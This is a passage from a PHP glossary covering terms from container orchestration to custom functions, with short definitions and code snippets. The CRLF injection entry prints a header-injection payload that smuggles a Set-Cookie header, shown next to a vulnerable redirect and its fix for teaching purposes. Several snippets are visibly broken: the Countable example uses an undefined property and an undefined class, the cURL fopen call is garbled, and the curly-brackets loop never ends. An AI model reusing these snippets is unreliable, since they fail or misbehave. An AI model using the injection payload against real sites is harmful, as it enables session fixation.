Container orchestration is the automated management of the full lifecycle of containerised workloads across a cluster of machines: scheduling containers onto nodes, scaling replicas up or down, restarting failed containers, routing network traffic, managing rolling updates and rollbacks, and injecting configuration and secrets.
Without orchestration, deploying many containers manually is error-prone and does not scale. Orchestration platforms solve the operational burden of running containers in production.
Kubernetes is the dominant container orchestration platform. Docker Swarm is a simpler alternative built into Docker Engine. Managed cloud offerings, the like of AWS ECS, AWS EKS, Google GKE, Azure AKS, etc. run Kubernetes with reduced operational overhead.
PHP applications benefit from container orchestration through: horizontal scaling, like adding replicas under load, zero-downtime rolling deploys, like old pods kept alive until new pods are healthy, and self-healing, like crashed PHP-FPM pods are automatically restarted.
# Scale a PHP deployment to 10 replicas
# kubectl scale deployment order-service --replicas=10
# Roll out a new image with zero downtime
# kubectl set image deployment/order-service php-fpm=myregistry/order-service:v2
# Horizontal Pod Autoscaler: scale based on CPU usage
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
name: order-service-hpa
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: order-service
minReplicas: 2
maxReplicas: 20
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 70
See Also
Related
Container
There are several usages of the word container:
- Docker container, for PHP or other related technologies
- Dependency injection container
- Any structure that stores data: variables, properties, array elements.
See Also
Related
- Dependency Injection Container
- PHP Docker Container
- Docker Container
- Data Container
- Readable
- Registry
- Writable
- Writeable
- Docker Image
- Docker
Content-Type Header
The Content-Type header tells the receiver the media type of the body: for example application/json, text/html or multipart/form-data. It is sent in both requests and responses.
The receiver uses it to decode the body correctly. A server that receives a request with a missing or wrong Content-Type may reject it with 415 Unsupported Media Type, and a client that ignores the response’s Content-Type may parse an HTML error page as JSON.
For JSON APIs, the request must send Content-Type: application/json, and the client should check the response header before decoding the body. A charset parameter can be added to text types, such as text/html; charset=UTF-8.
<?php
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['status' => 'ok']);
See Also
Related
Continuation
A continuation represents the rest of a program’s computation at a given point, reified as a callable value. Scheme’s call-with-current-continuation captures this rest of the program and hands it to the current function as an ordinary function value; invoking that captured continuation later, even from a completely different call frame, resumes execution exactly where it was captured, as many times as desired, effectively implementing arbitrary non-local control flow: early exits, generators, backtracking, or cooperative threads can all be built on top of it.
This is a strictly more general mechanism than exceptions or generators: a continuation can be invoked more than once, including after the function that captured it has already returned, which exceptions and generators cannot do.
PHP has no continuations and no call/cc equivalent. Non-local control flow is limited to a fixed set of built-in constructs: exceptions unwind the stack once and cannot be resumed, and Generator/Fiber can only be suspended and resumed by their own caller, in a strictly linear, single-shot fashion. There is no way to capture the current point of execution as a value and invoke it later, from anywhere else, as call/cc allows.
See Also
Related
Continue
continue is used within looping structures to skip the rest of the current loop iteration and resume the execution at the condition evaluation and then the beginning of the next iteration.
continue is not possible inside a switch() structure.
<?php
foreach ($arr as $key => $value) {
if (!($key % 2)) { // skip even members
continue;
}
do_something_odd($value);
}
?>
See Also
Related
Contract Test
A contract test checks that two sides of an interface agree on the messages they exchange. For an HTTP API, the consumer, aka the application, declares what it expects from the provider, aka the remote service: the endpoints, the request fields, the response fields and their types. The provider is then checked against that contract.
Contract tests sit between unit tests and end-to-end tests. Unlike unit tests with a mock, they catch the case where the mock no longer matches the real service. Unlike end-to-end tests, they do not need the whole system running, and can run offline against the recorded contract.
A contract test is only as good as its contract, so it must be updated when either side changes.
See Also
Related
Related packages
Design By Contract (DBC)
Design by Contract, or DbC, is a software development approach that focuses on specifying the expected behavior of software components through preconditions, postconditions, and invariants. Although DbC is not natively supported, any application may incorporate its principles into its source code using libraries and coding practices.
See Also
- Contracts
- Design by Contract: An approach to ensure Software Correctness
- php deal framework
- Contract-first API testing
Related
Related packages
Contribution
A contribution, or open-source contribution, is a change submitted to a software project, typically in the form of a pull request or patch. Contributing to open-source projects is a core part of the PHP ecosystem: the language itself, its extensions, and the majority of popular frameworks and libraries are developed collaboratively.
Contributions can take many forms:
- Bug reports and reproducible test cases
- Code fixes, new features, and refactoring
- Documentation improvements
- Test coverage additions
- Translations and localization
Many Open Source projects provide a CONTRIBUTING.md file that describes coding standards, testing requirements, and the review process.
PHP’s own development process goes through RFCs voted on by internals contributors.
<?php
// Example: typical open-source contribution workflow (shell commands)
// git clone https://github.com/vendor/project
// cd project
// git checkout -b fix/issue-123
// # Make changes
// git add .
// git commit -m 'Fix: description of the change'
// git push origin fix/issue-123
// # Open a pull request on GitHub
?>
See Also
Related
Control Flow Analysis
Control flow analysis, or CFA, is a static analysis technique that examines the possible execution paths through a program. It builds upon the control flow graph to reason about which statements may be reached, which branches may be taken, and which code may be unreachable.
Applications include:
- Dead code detection: identifying statements that can never be executed
- Reachability analysis: determining whether a particular point in the code can be reached
- Exception flow: tracing all paths through try/catch/finally blocks
- Return path coverage: verifying that all execution paths through a function return a value
Control flow analysis is a prerequisite for more advanced analyses such as data flow analysis and taint analysis.
<?php
function divide(int $a, int $b): float {
if ($b === 0) {
throw new InvalidArgumentException('Division by zero');
}
return $a / $b;
// Control flow analysis detects that the line below is unreachable
echo 'done';
}
?>
See Also
Related
- Control Flow
- Control Flow Graph (CFG)
- Data Flow Analysis (DFA)
- Analysis
- Static Application Security Testing (SAST)
- Dead Code
- Taint Analysis
- Lexical Analysis
- Semantic Analysis
- Symbolic Analysis
- Pattern-Based Analysis
Control Flow Graph (CFG)
The Control Flow Graph is a logical representation of the execution of a source code. It takes into account the path that follow the execution in the source, including:
- Sequential execution: one command at a time
- Goto jumps: from one part of the code to another one
- Branching: where one of two or more sequence of actions are exclusively executed, depending on conditions
- Looping: where the same piece of code is executed repeatedly.
Control Flow Graph is used in code analysis, to audit the modifications of data.
See Also
Related
Control Flow
Control flow structures direct the way PHP executes the statements. For example, a loop repeats the same statements several times; a goto instruction jumps to another part of the code; a if-then statement applies a block of code or another, depending on a condition.
- if
- else
- elseif/else if
- Alternative syntax for control structures
- while
- do…while
- for
- foreach
- break
- continue
- switch
- match
- return
require()include()require_once()include_once()- goto
Control flow structures can’t be called dynamically: they have to be hardcoded, or nested in a closure or other function.
Each of these constructs answers a different question about the order of execution: conditionals, if, elseif, match, choose between branches; loops, while, do...while, for, foreach, repeat a block until a condition changes; jump statements, break, continue, return, goto, leave the current structure early or transfer control elsewhere; and the file-inclusion constructs, require, include, and their _once variants, bring another script’s control flow into the current one.
Understanding control flow is central to reading any PHP program, since it determines which statements actually run for a given input, in what order, and how many times. Poorly structured control flow, such as deeply nested conditionals or unbounded loops, is a common source of bugs and a frequent target of static analysis and refactoring.
<?php
if ($a === 1) {
$b = 2;
} else {
$b = 3;
}
?>
See Also
Related
- Statement
- Loops
- Semicolon ;
- If Then Else
- While
- Do While
- For
- foreach()
- Break
- Continue
- Switch
- Match
- declare()
- Return
- include
- Goto
- Jump
Control Structures
Control structures are PHP statements that control the flow of execution.
if/elseif/else ifwhiledo-whileforforeachbreakcontinueswitchmatchdeclarereturnrequire()include()require_once()include_once()gotothrow
Usually, instructions and commands are executed one after another. With control structures, this flow is changed and the execution will go to another part of the code for its next step. For example, inside a loop, when PHP encounters a break command, it will then execute the next command after the loop, instead of the next command sequentially.
PHP offers each control structure in a curly-brace form and, for use inside templates mixed with HTML, an alternative syntax that replaces braces with a colon and matching end...; keywords endif, endwhile, endfor, endforeach, endswitch. Both forms are functionally equivalent; the alternative syntax is mostly a readability choice when PHP blocks are interleaved with markup.
Control structures cannot be assigned to variables, passed as callbacks, or invoked dynamically the way functions can: their names are reserved keywords parsed directly by the engine, which is what allows them to alter the normal top-to-bottom execution order in the first place.
<?php
if (rand(0, 1) > 0) {
print 'Hello, world.';
} else {
print 'World : hello!';
}
?>
See Also
Related
Controller
Controllers takes in charge one or several URL, extract data from the request, pass them to the model and finally, create and returns the view.
Controllers orchestrate the execution of the request, and act as gatekeeper, ensuring that data are correctly processed.
See Also
Related
Related packages
Convention
A convention is a way in which something is usually done.
There are coding conventions, which is the way the code is presented and should be shared among a or several teams.
There is also the concept of convention over configuration, where the common behaviors, also known as the convention, is used as default, and any unusual aspect must be configured.
See Also
Related
Convert
To convert is to transform a piece of data, from one format to another.
The conversion may be lossless, when it may be reverted without loss of information. It is lossy when it cannot be reverted, or if this operation is very expensive.
PHP has several conversion systems:
- Cast, with
(int),(array),(string), etc - String format conversion, with
iconv(),mb_convert_encoding(), orUConverter::transcode. - Number base conversion, with
base_convert()andintval().
To convert may also be called cast, encode/decode, escape, crypt/decrypt, hash, sign, etc. depending on the context.
<?php
// convert an array to a JSON string
// This is also called 'encoding', and may be decoded
$array = ['a' => 1];
$json = json_encode($array);
// convert a string to its MD5 signature
// it cannot be reverted easily, and it is considered lossful
$string = 'PHP rocks';
$hash = md5($string);
?>
See Also
Related
Cookie
Cookies serve as a fundamental web technology that enables websites to store small pieces of data directly within a user’s web browser. This stored information persists across browsing sessions, allowing websites to remember specific details about visitors when they return. The primary purposes include tracking user behavior, maintaining login states, personalizing content, and identifying returning visitors to provide customized experiences based on their previous interactions with the site.
<?php
setcookie('aCookieName', 'Cookie value', time()+3600); /* expire in 1 hour */
?>
See Also
Related
Related packages
Copy On Write (COW)
Copy on write, or COW, is a data management technique where data is shared between contexts, until it is actually modified. When a modification happens, the data is then duplicated, to avoid polluting the original data. Otherwise, simple reads keep the data intact, and save a copy operation and memory.
PHP uses this technique for arrays and strings, unless they are passed by reference. It is totally transparent for the code.
<?php
$array = [1,2,3];
function trumpet($a) {
echo $a[1]; //
$a[2] = 4; // $a is copied, then modified.
}
?>
See Also
Related
Core
Core is the name of the main PHP engine part, which provides the base features of the language. It has a name to differentiate it from the other extensions, although it is also designed as PHP itself.
In particular, Core functions are not the math, string or arrays functions: these are in a distinct extensions.
<?php
var_dump(1);
?>
See Also
Related
Coroutine
Coroutines are methods whose execution may be suspended and resumed.
PHP generators are a sort of coroutines.
Swoole, Openswoole and fibers extensions offer coroutines.
<?php
// Example from OpenSwoole (https://openswoole.com/docs/modules/swoole-coroutine)
Co\run(function()
{
go(function()
{
Co::sleep(1);
echo "Done 1\n";
});
go(function()
{
Co::sleep(1);
echo "Done 2\n";
});
});
?>
See Also
Related
- Yield Generator
- Blocking Wait
- Stealth Generator
- Actor Model
- Channel
- Continuation
- Green Thread
- Asynchronous Markup Protocol (AMP)
- OpenSwoole
- ReactPHP
- Swoole
Related packages
Correlation ID
A correlation ID is a unique identifier attached to a request or event so that all related operations across multiple services or log entries can be linked together.
In a distributed system, a single user action may trigger calls to several microservices, each writing their own logs. Without a shared identifier, reconstructing the full lifecycle of that request requires matching timestamps and guessing at relationships. By generating a UUID at the entry point, API gateway, queue consumer, CLI command, and forwarding it in every outbound call and log line, all related activity shares the same correlation ID and can be retrieved as a group.
Correlation IDs are typically propagated through HTTP headers, e.g. X-Correlation-ID or X-Request-ID, or as metadata in message queue payloads. Middleware or a centralized logger injects the value at the boundary and makes it available throughout the request lifecycle, often via a PSR-3 logger context or a dependency injection container.
A correlation ID is not secret and is not a security token. Its sole purpose is observability.
<?php
use Ramsey\Uuid\Uuid;
// At the entry point (e.g. a middleware)
$correlationId = $_SERVER['HTTP_X_CORRELATION_ID'] ?? Uuid::uuid4()->toString();
// Forward it to downstream services
$client->request('POST', $url, [
'headers' => ['X-Correlation-ID' => $correlationId],
]);
// Include it in every log line
$logger->info('Order placed', ['correlation_id' => $correlationId]);
?>
See Also
Related
- Universally Unique IDentifier (UUID)
- Distributed Tracing
- Distributed Systems
- Microservice
- Log
- Unique Identifier
- Idempotent
Related packages
count()
count() is a native PHP function, that returns the number of elements in the argument.
count() is basically meant to work on arrays: it returns the number of elements in the array. count() is also able to run recursively, when provided the second argument.
By extension, count() works on classes of objects that implement the Countable interface.
It is a Fatal error to call count() on an object that can’t be counted. Use is_countable() or type validation to make sure the data may be counted.
<?php
echo count([1,2,3]); // 3
echo count([1,2,3, [4, 5]], COUNT_RECURSIVE); // 6 == 4 + 2
class Elephpant implements Countable {
function count() : int {
// arbitrary count
return 7;
}
}
echo count(new Elephpant); // 7
?>
See Also
Related
Countable Interface
The Countable interface is a native built-in interface that allows objects to be counted using the count() function.
By implementing the Countable interface, a class defines custom logic for determining its count.
<?php
class Collection implements Countable
{
private $list = [];
public function add($tusk) {
$this->list[] = $tusk;
}
public function count()
{
return $this->count;
}
}
$count = new Counter;
$count->inc();
$count->inc();
print count($count).PHP_EOL;
?>
See Also
Related
Coupling
Coupling refers to the degree of dependency between different classes of a software. It measures how interconnected or interdependent these classes are. There are several types of coupling, ranging from loose to tight.
- Content Coupling: this is the strongest form of coupling, where one module directly accesses or modifies the internal data or methods of another class. It’s considered the most undesirable type of coupling, as it makes the modules highly dependent on each other and difficult to change independently.
- Common Coupling: in this type, multiple modules share the same data or a common storage location. Changes to this shared data can impact multiple modules simultaneously, leading to potential issues in understanding and maintaining the codebase.
- External Coupling: this type of coupling occurs when two modules rely on the same external interface, such as a file, a database, or a communication protocol. Changes to the external interface can affect multiple modules, but at least the internal details remain separate.
- Control Coupling: control coupling happens when one module passes control information, e.g., flags, status, or control variables to another module. The receiving module behaves differently based on this information, introducing dependencies between them.
- Data Coupling: data coupling is a better form of coupling compared to the above ones. It happens when two modules share data through parameters or arguments, but they do not directly access each other’s internal data. It promotes encapsulation and makes it easier to maintain and understand the system.
- Message Coupling: in this type, modules communicate by passing messages, which can be in the form of method calls, function calls, or events. The modules don’t need to know each other’s internal details, and they interact based on well-defined interfaces.
- No Coupling or Content Independence: the ideal type of coupling is no coupling at all, where modules are entirely independent of each other. Each module operates in isolation, and changes to one module do not affect others
Software designers aim to achieve low coupling and high cohesion in their systems to improve maintainability, reusability, and overall system design.
The opposite of coupling is decoupling.
<?php
// User class with high coupling (Content Coupling)
class User {
private $username;
private $email;
public function __construct($username, $email) {
$this->username = $username;
$this->email = $email;
}
// Content coupling: EmailSender is directly accessed here
public function register() {
// Register the user in the database
// Send a welcome email
$emailSender = new EmailSender();
$emailSender->sendWelcomeEmail($this->username, $this->email);
}
}
?>
See Also
Related
- Decoupling
- Dependency
- Cohesion
- God Object
- Program To Interface
- Separation Of Concerns
- Tech Island
- Tech Silo
- Dependency Inversion (DIP)
- Distributed Monolith
- Fault Isolation
- Shared Database
Coverage
The coverage is the concept that an operation has been applied to every part of a whole body.
PHP uses this notion with tests, where code coverage is expected to use as much as possible of the code; and type coverage, where as many types as possible have been applied.
Usually, coverage refers to code coverage.
See Also
Related
Command Query Responsibility Segregation (CQRS)
CQRS is an architectural pattern that separates read operations, Queries from write operations, Commands, into distinct models. It was popularized by Greg Young, building on Bertrand Meyer’s Command-Query Separation principle.
Read and write workloads often have very different performance and scaling needs, so treating them as a single unified model creates unnecessary friction. By separating them, it is possible to optimize each side independently: for example, using denormalized read models or dedicated indexed projections on the query side without affecting your write logic.
It also simplifies complex domain logic. Commands encapsulate intent and business rules cleanly, without being cluttered by the concerns of how data is presented or fetched. This makes the write side easier to test and reason about.
CQRS pairs especially naturally with Event Sourcing, where state changes are stored as a sequence of events rather than overwriting rows: but it’s worth noting that Event Sourcing is not necessary to benefit from CQRS. The two are complementary, not dependent on each other.
See Also
Related
Related packages
Crack
Cracking, also called password cracking or hash cracking, refers to breaking a security mechanism. Most commonly, it means recovering a plaintext password from its hash. Attackers crack hashes using:
- Brute force: trying every possible input
- Dictionary attacks: trying common words and known passwords
- Rainbow tables: precomputed hash linked to plain-text mappings
- Rule-based attacks: applying transformations like capitalisation, digit appending, … to existing word lists
In any application, passwords must be stored using a strong, salted hashing algorithm such as bcrypt or Argon2. These algorithms are deliberately slow and include a random salt, making cracking computationally expensive and rendering rainbow tables useless.
Using weak algorithms such as MD5 or SHA-1 for passwords is a critical vulnerability, as they can be cracked rapidly with modern GPUs.
<?php
// WRONG: MD5 is trivially crackable
$hash = md5('password123'); // 482c811da5d5b4bc6d497ffa98491e38
// CORRECT: use password_hash() — bcrypt with automatic salt
$hash = password_hash('password123', PASSWORD_BCRYPT);
// Verify
if (password_verify('password123', $hash)) {
echo 'Password is correct';
}
// Even stronger: Argon2id (PHP 7.3+)
$hash = password_hash('password123', PASSWORD_ARGON2ID);
?>
See Also
Related
- Password
- Cryptographic Hash
- Weak Cryptography
- Argon2
- Message Digest Algorithm 5 (MD5)
- Secure Hash Algorithm (SHA)
- Timing Attack
- To Crypt
- To Decrypt
Cyclic Redundancy Check 32-bit (CRC32)
CRC32 stands for Cyclic Redundancy Check 32-bit. It is a hash function that produces a 32-bit, or 8-character hexadecimal, checksum or hash value from a given input, typically a sequence of bytes or a string. The primary purpose of CRC32 is error-checking and data integrity verification.
PHP calculates CRC32 values with the native crc32() function, and the hash() function, although with slight differences.
<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
hash('crc32b', $str) === str_pad(dechex(crc32($str)), 8, '0', STR_PAD_LEFT);
?>
See Also
Related
CRLF Injection
CRLF injection, also called header injection, is a security vulnerability that occurs when an attacker can insert a carriage-return, the \r char and line-feed, the \n char sequence into data that is later included in an HTTP response header, an email header, or another line-delimited protocol message.
In HTTP, headers are separated from each other by \r\n and the header section is terminated by \r\n\r\n. If user-controlled input reaches a call to header() without sanitisation, an attacker can inject additional headers or even start a second HTTP response body. Such an attack is historically called HTTP response splitting.
A typical payload looks like this: Location: https://example.com\r\nSet-Cookie: session=evil.
This causes the browser to see two separate headers, potentially enabling session fixation, cross-site scripting via injected HTML, or cache poisoning.
The native function header() has blocked embedded newlines since version 7.2 and the CVE-2018-7584 that addressed the related edge cases, but older stacks, custom header-building code, and curl-based HTTP clients that assemble raw request headers remain at risk.
Sanitize any value destined for a header by stripping or rejecting \r and \n before use. The function str_contains() or a regex check makes this straightforward.
<?php
// Vulnerable: user input placed directly in a redirect header
$url = $_GET['url'];
header('Location: ' . $url); // attacker sends url = https://x.com\r\nSet-Cookie: x=1
// Safe: strip CR and LF before building the header value
$url = str_replace(["\r", "\n"], '', $_GET['url']);
header('Location: ' . $url);
?>
See Also
- CRLF Injection Into PHP’s cURL Options
- CRLF Injection in Laravel: Exploit and Prevention Guide
- What is CRLF Injection? Exploitations and Security Tips
- OWASP: CRLF Injection
- PortSwigger: HTTP response splitting
Related
- Injection
- Carriage Return
- New Line
- HTTP Headers
- Cross Site Scripting (XSS)
- Session Fixation
- Security
- Taint Analysis
- Escape Data
Cron
A cron job is a scheduled task that runs PHP code automatically at specified times or intervals, without a web request.
It’s usually handled by the operating system, such as Linux/Unix cron daemon, not by PHP itself.
There are many cron alternatives, like systemd timers, framework schedulers, components schedulers, Windows Task Scheduler, Kubernetes CronJobs, cloud-native schedulers, database-backed schedulers, HTTP-based scheduling, and workflow schedulers.
See Also
Related
Related packages
Cross-cutting Concerns
Cross-cutting concerns are aspects of a system that affect multiple layers or components but cannot be cleanly encapsulated in any single module. They cut across the boundaries of the architecture rather than living within one well-defined layer.
Common examples: logging, authentication and authorisation, caching, transaction management, error handling, input validation, and metrics collection.
The problem is that naively implementing a cross-cutting concern leads to code duplication: the same logging or auth check is copy-pasted into dozens of classes. When the requirement changes, every copy must be updated.
Possible solutions:
- Middleware, PSR-15:
HTTPpipeline stages that wrap every request/response - Event listeners / hooks: framework events dispatched at lifecycle points
- Decorators: wrap a service class to add behaviour without modifying it
- PHP Attributes + compile-time code generation, such as AOP with Spiral Framework
- Aspect-Oriented Programming, AOP: intercepts method calls to inject cross-cutting logic.
<?php
// Middleware: authentication as a cross-cutting concern
class AuthMiddleware implements MiddlewareInterface {
public function process(ServerRequestInterface $req, RequestHandlerInterface $next): ResponseInterface {
$token = $req->getHeaderLine('Authorization');
if (!$this->auth->validate($token)) {
return new Response(401);
}
return $next->handle($req); // all subsequent handlers see an authenticated request
}
}
// Decorator: caching as a cross-cutting concern
class CachedOrderRepository implements OrderRepository {
public function __construct(
private OrderRepository $inner,
private CacheInterface $cache,
) {}
public function findById(int $id): ?Order {
return $this->cache->get(order:$id, fn() => $this->inner->findById($id));
}
}
?>
See Also
Related
- Aspect-Oriented
- Middleware Pattern
- Decorator Pattern
- Separation Of Concerns
- Layered Architecture
- Log File
Create, Read, Update And Delete (CRUD)
CRUD stands for Create, Read, Update and Delete. Those are the four primitive operation for storage.
They are usually the basic operations needed whenever PHP communicates with a storage system.
See Also
Related
To Crypt
To crypt is to apply a data transformation that keeps the original information, but makes it impossible to read without decrypting. Usually, the transformation involves a key, which stays secret, and is only known from the author or the receiver of the data.
Crypting data may be done for the transit of information, or its storage, in a database, until its usage. In both cases, privacy is critical.
Since the data may be decrypted, it is always possible that an unwanted actor accesses the crypted data. The notion of impossible to read is related to the difficulty to perform the decryption without the critical key.
The opposite to crypt is to decrypt, when it is a legit operation, or to crack, when it is an unwanted operation.
<?php
// Encryption
$key = openssl_random_pseudo_bytes(32); // 256-bit key
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$plaintext = 'PHP rocks';
$ciphertext = openssl_encrypt($plaintext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$encrypted = base64_encode($iv . $ciphertext);
// Decryption
$decoded = base64_decode($encrypted);
$iv = substr($decoded, 0, openssl_cipher_iv_length('aes-256-cbc'));
$ciphertext = substr($decoded, openssl_cipher_iv_length('aes-256-cbc'));
$decrypted = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
echo 'Encrypted: ' . $encrypted . PHP_EOL;
echo 'Decrypted: ' . $decrypted . PHP_EOL;
?>
See Also
Related
- Asymmetric Cryptography
- To Decrypt
- Crack
- Convert
- Cyclic Redundancy Check 32-bit (CRC32)
- Plain Text
- Rich Text
Cryptography
Cryptography is the practice and study of techniques for secure communication in the presence of adversarial behavior. It includes techniques like hashing and encryption.
PHP include native cryptographic features, like hash() and crypt(), and also extensions, such as openssl or sodium.
<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
?>
See Also
Related
- libsodium
- Message Digest Algorithm 5 (MD5)
- OpenSSL
- Weak Cryptography
- Algorithm
- Asymmetric Cryptography
- Random
- Secret
- HMAC
- One-Time Password (OTP)
- Privacy
- Random\CryptoSafeEngine
- Hashing
- Message Digest
- PRNG
- Pseudonymisation
Content Security Policy (CSP)
Content Security Policy, or CSP, is an HTTP response header that lets a server declare which sources of scripts, styles, images, fonts, and other resources a browser is allowed to load and execute for a given page.
CSP is a defense-in-depth measure against XSS: even if an attacker manages to inject a <script> tag or an inline event handler, a strict policy can make the browser refuse to execute it, because the payload does not come from an allowed source or violates the 'unsafe-inline' restriction. CSP does not prevent injection itself, and is not a substitute for output encoding; it only limits the damage once injection has already happened.
Common directives include script-src, style-src, and default-src. Modern policies favor per-request nonces or hashes over 'unsafe-inline', so that only script blocks explicitly marked by the server are allowed to run.
<?php
// A nonce-based policy: only <script> tags carrying this nonce may execute.
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{$nonce}'");
?>
<script nonce="<?= $nonce ?>">
// allowed to run
</script>
See Also
Related
Cross Site Request Forgery (CSRF)
A CSRF, or XSRF attack happens when a malicious website tricks a logged-in user’s browser into sending an unwanted request to another application. CSRF requires both an intermediate website and a victim website.
CSRF is often confused with SSRF, the server-side request forgery, but the two are distinct: CSRF forges a request from the victim’s browser, while SSRF forges a request from the server itself.
See Also
Related
- Cross Site Scripting (XSS)
- Server-Side Request Forgery (SSRF)
- Nonce
- hash_equals()
- Static Application Security Testing (SAST)
- Session Hijacking
- Vulnerability
CSS
CSS, the Cascading Style Sheets, is the language used to describe the visual presentation of HTML documents. It controls layout, colours, fonts, spacing, animations, and responsiveness across devices.
While CSS itself is a client-side technology, PHP frequently interacts with it:
- Generating dynamic CSS values for theming, user preferences, etc.
- Injecting CSS variables from server-side configuration
- Rendering HTML templates that include or link stylesheets
- Parsing or minifying CSS on the server
When PHP outputs CSS content directly, care must be taken to escape values correctly to prevent CSS injection. It is a form of XSS where an attacker injects malicious CSS rules.
In modern PHP applications, CSS is typically bundled by a frontend build tool and linked from PHP templates.
Although they have overlappign concerns, CSS and XSS are two distinct things: one is a language, the other is a security vulnerability.
<?php
// Generating a dynamic CSS custom property from a user setting
$primaryColor = '#3498db'; // from database / user preference
$primaryColor = preg_replace('/[^#a-fA-F0-9]/', '', $primaryColor); // sanitize
header('Content-Type: text/css');
echo ":root {
--primary-color: {$primaryColor};
}
";
?>
See Also
Related
- HyperText Markup Language (HTML)
- Cross Site Scripting (XSS)
- Front-end
- World Wide Web (WWW)
- Javascript
- Asset
- Template
CSV Injection
A CSV injection is a vulnerability, where a csv file triggers the execution of a formula, stored in a cell. Formulas in cells starts usually with =, and may also use +, -, @, tabulation and carriage return.
Depending on the opening spreadsheet software, various targets may be achieved, ranging from sending local data to a remote server, to take over the computer.
CSV injections rarely target PHP itself, as it is not a spreadsheet, nor support formulas in CSV files. Also, components such as PHPspreadsheet are able to run a wide range of formulas.
PHP may relay an injection by saving it in a CSV file.
See Also
- The Absurdly Underestimated Dangers of CSV Injection
- Everything about CSV Injection and CSV Excel Macro Injection
Related
Comma Separated Values (CSV)
CSV is a data format, where values are separated by commas.
Each line represents a data record. The first line may be a header line, or not.
CSV is not fully standardized: it represents in fact several formats, with different features. In particular, nested new lines and escape sequences may vary from format to format.
See Also
Related
- Data
- Format
- JavaScript Object Notation (JSON)
- CSV Injection
- Parquet
- Serde
- Comma
- fgets()
- Interoperability
- Open Data
Related packages
Capture The Flag (CTF)
Capture The Flag, abbreviated CTF, is a type of cybersecurity competition in which participants solve security challenges to find hidden strings called flags. Each flag, once submitted, awards points. Challenges span categories such as web exploitation, binary exploitation, reverse engineering, cryptography, and forensics.
Web CTF challenges frequently involve PHP applications with intentional vulnerabilities: type juggling, code injection via eval(), file inclusion via unsanitised input, insecure deserialisation, or logic flaws in authentication. Solving them requires understanding both the PHP language and common attack patterns.
CTFs are used for learning, hiring, and security research. They are legal and controlled environments for practising offensive techniques that would be illegal on real targets.
See Also
Related
- Security
- Penetration Test
- Vulnerability
- Type Juggling
- Eval()
- Local File Inclusion
- Insecure Deserialization
- Code Injection
- OWASP
Ctype
ctype is a set of functions used for character type checking. These functions are primarily designed to determine the type of characters in a string. They are useful for tasks such as input validation, data processing, and character manipulation. The ctype functions are part of PHP’s standard library.
<?php
$strings = ['KjgWZC', 'arf12'];
foreach ($strings as $testcase) {
if (ctype_alpha($testcase)) {
echo "The string $testcase consists of all letters.\n";
} else {
echo "The string $testcase does not consist of all letters.\n";
}
}
?>
See Also
Related
Client URL (CURL)
Curl is both a PHP extension and a multiprotocol file transfer library.
The cURL, for client URL, extension is a powerful library that allows to transfer data to and from servers using various protocols. It enables to make HTTP requests, handle responses, and perform various network-related tasks from within source code.
The cURL extension provides a set of functions that can be used to perform different tasks, such as making GET and POST requests, sending custom headers, handling cookies, and more.
cURL is used to access remote resources, using various protocols such as DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP.
<?php
// Example from the PHP manual
$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt\, \w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
if(curl_error($ch)) {
fwrite($fp, curl_error($ch));
}
curl_close($ch);
fclose($fp);
?>
See Also
Related
Related packages
Curly Brackets
Curly brackets have different usage:
- Delimit a block of code
- Represents a variable delimiter inside string
- It used to identify a single byte in a string, with an array syntax
They are also called curly braces.
<?php
for($a = 1; $a < 10; ++$i) {
// block
// delimit a variable to avoid confusing it with $vars
echo "{$var}s";
}
// old syntax: it used to be the second character in the string
// This is a removed feature in PHP 8.0+
// modern syntax : use angular brackets
echo $string{1};
?>
See Also
Related
Currying
Currying is the transformation of a function that takes multiple arguments into a sequence of functions that each take a single argument. The name comes from mathematician Haskell Curry.
In a language with native currying, calling a multi-argument function with fewer arguments than it expects does not produce an error: it returns a new function that expects the remaining arguments. This allows building specialised functions from general ones with no extra syntax.
Native currying is available in Haskell, F#, OCaml, and Erlang, where all functions are curried by default. Scala and Kotlin support it explicitly.
PHP does not support currying natively. It can be approximated by returning closures manually, but there is no syntactic or runtime support.
Because building a curried function usually starts from partial application, the two are sometimes referred to jointly as partial application currying.
<?php
// Manual simulation of currying with closures
$add = fn($tusk) => fn($ivory) => $tusk + $ivory;
$add5 = $add(5);
echo $add5(3); // 8
?>
See Also
Related
- Partial Function
- Partial Application
- Anonymous Function
- Arrow Functions
- Functional Programming (FP)
- Closure
Custom Function
A custom function, or user-defined function, is a function declared by the developer, as opposed to a native PHP function provided by the engine or an extension. Custom functions encapsulate reusable logic under a named callable.
Functions are declared with the function keyword and may be defined in any scope. Unlike many languages, PHP functions are global by default once declared: a function defined inside a conditional block or another function is still globally accessible after that point is reached at runtime.
Custom functions can be:
- Regular functions:
function myFunction() {} - Closures:
$fn = function() {} - Arrow functions:
$fn = fn() => expression - Static methods: functions bound to a class
PHP also supports first-class callables, since PHP 8.1, and can call custom functions by name stored in a variable, as a dynamic calls.
<?php
// Regular custom function
function clamp(int $value, int $min, int $max): int {
return max($min, min($max, $value));
}
echo clamp(150, 0, 100); // 100
// Anonymous function stored in a variable
$double = function(int $n): int {
return $n * 2;
};
echo $double(5); // 10
// Arrow function
$triple = fn(int $n): int => $n * 3;
echo $triple(5); // 15
// First-class callable syntax (PHP 8.1)
$fn = clamp(...);
echo $fn(42, 0, 50); // 42
?>
See Also
Related
Custom
A feature is called custom when it is not part of the standard installation of PHP, any PHP extension or a publish library. For example, the function trumpet() is generally a custom function.
